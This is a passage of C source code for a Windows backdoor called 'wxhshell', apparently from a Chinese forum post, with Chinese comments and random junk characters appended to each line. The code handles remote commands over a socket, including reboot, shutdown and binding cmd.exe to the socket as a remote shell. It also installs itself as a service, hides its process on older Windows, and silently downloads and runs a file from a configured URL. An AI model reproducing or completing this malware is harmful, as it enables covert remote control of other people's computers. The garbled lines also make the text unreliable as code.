  NG_7jZzXA9  
  // 帮助 jss.j~8  
  case '?': { xVk5%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ey=ymf.}  
    break; qe 'RvBz  
  } 3~1Gts  
  // 安装 54].p7  
  case 'i': { 83J6 3Xa  
    if(Install()) RT|1M"?$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .$fSWlM;  
    else %,(X R`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @FZbp  
    break; ^.9Df A0  
    } ?j&ZzK'#^  
  // 卸载  |A\o  
  case 'r': { WK0:3q(P  
    if(Uninstall()) 6MNrH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :b] \*  
    else \FIM'EKzu!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u\;d^A  
    break; b]  
    } sI.p( -K Q  
  // 显示 wxhshell 所在路径 0O[le*3b  
  case 'p': { YSrjg|k*  
    char svExeFile[MAX_PATH]; &\%\"Zh  
    strcpy(svExeFile,"\n\r"); ""A6n{4  
      strcat(svExeFile,ExeFile); [bw1!X3  
        send(wsh,svExeFile,strlen(svExeFile),0); n?;h-KKO:  
    break; SlG^ H  
    } j WSgO(y  
  // 重启 }Ogb|8  
  case 'b': { bh(} f.@ 9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?) T@qn+  
    if(Boot(REBOOT)) @]!9;?so  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6_:I~TTX  
    else { z'*"iaX<c  
    closesocket(wsh); W1521:  
    ExitThread(0); ut#pg+#Q  
    } 5mS/,fs@  
    break; k*v${1&  
    } a@J/[$5  
  // 关机 sY4q$Fq  
  case 'd': { E]v?:!!ds  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mx#%oJnsi  
    if(Boot(SHUTDOWN)) S*gm[ZLQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #^BttI  
    else { icb *L~qm  
    closesocket(wsh); XOLE=zdSp  
    ExitThread(0); KY}H-  
    } ltlo$`PR  
    break; hw.>HT|.N  
    } bYoBJ #UX  
  // 获取shell 8 /%{xB^  
  case 's': { w51l;2$des  
    CmdShell(wsh); U>OAtiq JX  
    closesocket(wsh); cK >^8T^  
    ExitThread(0); 684|Uuf7  
    break; R$+p4@?S  
  } }LeS3\+UHl  
  // 退出 :t<S  
  case 'x': { Bgn%d4W;G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vw4b@v-XQ3  
    CloseIt(wsh); 8N+T=c  
    break; >cLh$;l  
    } no W]E}nN  
  // 离开 |}.}q  
  case 'q': { zvVo-{6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t0GJ$])  
    closesocket(wsh); f%i%QZP  
    WSACleanup(); 8*x=Fm,Ok  
    exit(1); YYT#{>&  
    break; x NjQ"'i8  
        } eWN g?*/  
  } CmV &+C$V%  
  } !\$V?*p7  
W+/_0GgQ3  
  // 提示信息 _m[DieR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o.kDOqd  
} M9afg$;.xe  
  } DIw_"$'At  
-U\'Emu4  
  return; r @m]#4  
} %B( rW?p&  
P%H  Dz  
// shell模块句柄 Dk>6PBl  
int CmdShell(SOCKET sock) ".%d{z}vz  
{ d#]hqy  
STARTUPINFO si; :vX%0|  
ZeroMemory(&si,sizeof(si)); Fi67"*gE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7F6 B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /`7+Gy<  
PROCESS_INFORMATION ProcessInfo; |35OA/O?X  
char cmdline[]="cmd"; o<%0|n_O&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^!d0a bA  
  return 0; S1I.l">P  
} k=[s%O 6H  
KN[;z2i  
// 自身启动模式 !yxqOT-  
int StartFromService(void) ~bC A8  
{ C l,vBjl h  
typedef struct R"9w VM;*c  
{ XL^05  
  DWORD ExitStatus; vXRY/Zzj1  
  DWORD PebBaseAddress; KyfH8Na?  
  DWORD AffinityMask; 6o7t eX  
  DWORD BasePriority; e).;;0  
  ULONG UniqueProcessId; [!yA#{xl,  
  ULONG InheritedFromUniqueProcessId; rv(?%h`  
}   PROCESS_BASIC_INFORMATION; 4l%1D.3-O  
w3ni@'X8  
PROCNTQSIP NtQueryInformationProcess; ?h&?`WO (  
Hcwfe=K&/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J-Tiwl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z i.' V  
ON){d!]uJ  
  HANDLE             hProcess; @qan&?-Y  
  PROCESS_BASIC_INFORMATION pbi; U31@++C[  
<K`E*IaW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j7gw?,  
  if(NULL == hInst ) return 0; xsn=Ji2 F  
)?UoF&c/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jp_#pV*}:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eF22 ~P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cl2_"O  
Y55u -9|N  
  if (!NtQueryInformationProcess) return 0; UJSIbb5  
8ZVQM7O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a \1QnCy  
  if(!hProcess) return 0; %Qlc?Wl:  
%:d7Ts&?Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t+iHsCG)>  
;//9,x9;t  
  CloseHandle(hProcess); U:C:ugm  
*k}m?;esb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 26rg-?;V^  
if(hProcess==NULL) return 0; kuy?n-1g  
xF8n=Lc  
HMODULE hMod; cQyN@W  
char procName[255]; z'_Fg0kR{  
unsigned long cbNeeded; qrYbc~jI7  
uW(-?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^ls@Gr7`P  
v62_VT2v  
  CloseHandle(hProcess); Ze eV-  
0H}tb}4  
if(strstr(procName,"services")) return 1; // 以服务启动 JiaR*3#  
#~|k EGt  
  return 0; // 注册表启动 P,{Q k~iu  
} PY.K_(D  
hOU H1m.  
// 主模块 'UIFP#GtFO  
int StartWxhshell(LPSTR lpCmdLine) *G> x07S)~  
{ #@$80eFq  
  SOCKET wsl; *uhQP47B  
BOOL val=TRUE; p35=CX`T.  
  int port=0; 5'I+%66?h$  
  struct sockaddr_in door; Giv,%3'  
],pB:=  
  if(wscfg.ws_autoins) Install(); ^w\22 Q  
#f2k*8"eAF  
port=atoi(lpCmdLine); 8m?(* [[  
B#Ybdp ;  
if(port<=0) port=wscfg.ws_port; bTc >-e,  
F nA Kfh(  
  WSADATA data; 6M*z`B{hV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q>.7VN[ vE  
d#rr7O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fd&Fn=!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q()o|V  
  door.sin_family = AF_INET; T,pr&1]Lw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /GIGE##1F  
  door.sin_port = htons(port); THp_ dTD  
Nh.+woFq4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mvEhP{w  
closesocket(wsl); j2MA['{  
return 1; O8@65URKx  
} 0Idek  
]`&_!T  
  if(listen(wsl,2) == INVALID_SOCKET) { bE !SW2:M  
closesocket(wsl); q!z"YpYB  
return 1; SH{@yS[c!  
} x z8e1M  
  Wxhshell(wsl); ltNC ti{Q  
  WSACleanup(); o+E~iC u5  
'^m.vS!/  
return 0; 3\XNOJH  
Svn7.Ivep  
} Xxg|01  
V/ G1C^'/  
// 以NT服务方式启动 73cb1 kfPd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Trv}YT.  
{ :W*yfhLt  
DWORD   status = 0; <T}U 3lL^  
  DWORD   specificError = 0xfffffff; O2{["c e  
SH?McBxS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #Q8_:dPY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f1 x&Fk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .5 . (S^u  
  serviceStatus.dwWin32ExitCode     = 0; Z@0tZ^V{  
  serviceStatus.dwServiceSpecificExitCode = 0; ?.46X^  
  serviceStatus.dwCheckPoint       = 0; XjGS.&'I  
  serviceStatus.dwWaitHint       = 0; 6!m#;8 4  
j 2ag b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xaMDec V  
  if (hServiceStatusHandle==0) return; f8:nKb>nq$  
hJEd7{n  
status = GetLastError(); ka9@7IFM  
  if (status!=NO_ERROR) @Lnv  
{ HoGYgye=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MYS`@%ZV#k  
    serviceStatus.dwCheckPoint       = 0; X9m^i2tk  
    serviceStatus.dwWaitHint       = 0; og}Ri!^  
    serviceStatus.dwWin32ExitCode     = status; 1Toiqb/  
    serviceStatus.dwServiceSpecificExitCode = specificError; P8z%*/ 3NF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MbRTOH  
    return; oe*1jR_J`[  
  } t eY@) F  
zEI+)|4?r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9&Jf4lC94  
  serviceStatus.dwCheckPoint       = 0; +F8{4^w1  
  serviceStatus.dwWaitHint       = 0; z{rV|vQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -#|;qFD]  
} l )%PvLbL  
DhyR  
// 处理NT服务事件,比如:启动、停止 Z3S+")^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >O-KJZ'GV  
{ +8Lbz^#  
switch(fdwControl) GTdoUSUq  
{ %biie  
case SERVICE_CONTROL_STOP: {=Zy;Er  
  serviceStatus.dwWin32ExitCode = 0; }4|EHhG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~Gu$E qQ  
  serviceStatus.dwCheckPoint   = 0; Ek{QNlQ]4  
  serviceStatus.dwWaitHint     = 0; 0caZ_-zU  
  { 1rm\u%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =tOB fRM  
  } FiUQ2w4  
  return; ~[ufL25K  
case SERVICE_CONTROL_PAUSE: *dw.=a9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f{P1.?a  
  break; Jl{ 0q7b  
case SERVICE_CONTROL_CONTINUE: nI*.(+h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <fUo@]Lv  
  break; S^rf^%  
case SERVICE_CONTROL_INTERROGATE: `8!9Fp  
  break; h=#w< @  
}; ` B)@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Z%" ?RJ  
} hq=;ZI  
|7|S>h^  
// 标准应用程序主函数 Hl$W+e|tj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NrqJf-ldo  
{ <s9{o uZ  
N:lfKI  
// 获取操作系统版本 {kpF etXt?  
OsIsNt=GetOsVer(); z?o8h N\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X8)k'h  
4IeCb?  
  // 从命令行安装 l f>/  
  if(strpbrk(lpCmdLine,"iI")) Install(); k =! Q  
{MgRi 7  
  // 下载执行文件 b84l`J  
if(wscfg.ws_downexe) { yvd)pH<a2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5BVvT `<  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q~N,QMr)k&  
} 981-[ga `Y  
-<#) ]um  
if(!OsIsNt) { NM3;l}Y8  
// 如果时win9x,隐藏进程并且设置为注册表启动 F 3|^b{'zO  
HideProc(); 42dv3bE"  
StartWxhshell(lpCmdLine); _**Nlp*%  
} 8 lggGt  
else sO .MUj;  
  if(StartFromService()) gm9*z.S\'  
  // 以服务方式启动 0kE[=#'.'  
  StartServiceCtrlDispatcher(DispatchTable); F&B\ X  
else #3&@FzD_P  
  // 普通方式启动  /qLO/Mim  
  StartWxhshell(lpCmdLine); $[|(&8+7  
]m+%y+  
return 0; n5}]C{s'  
}
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只看该作者 1 发表于: 2006-10-10
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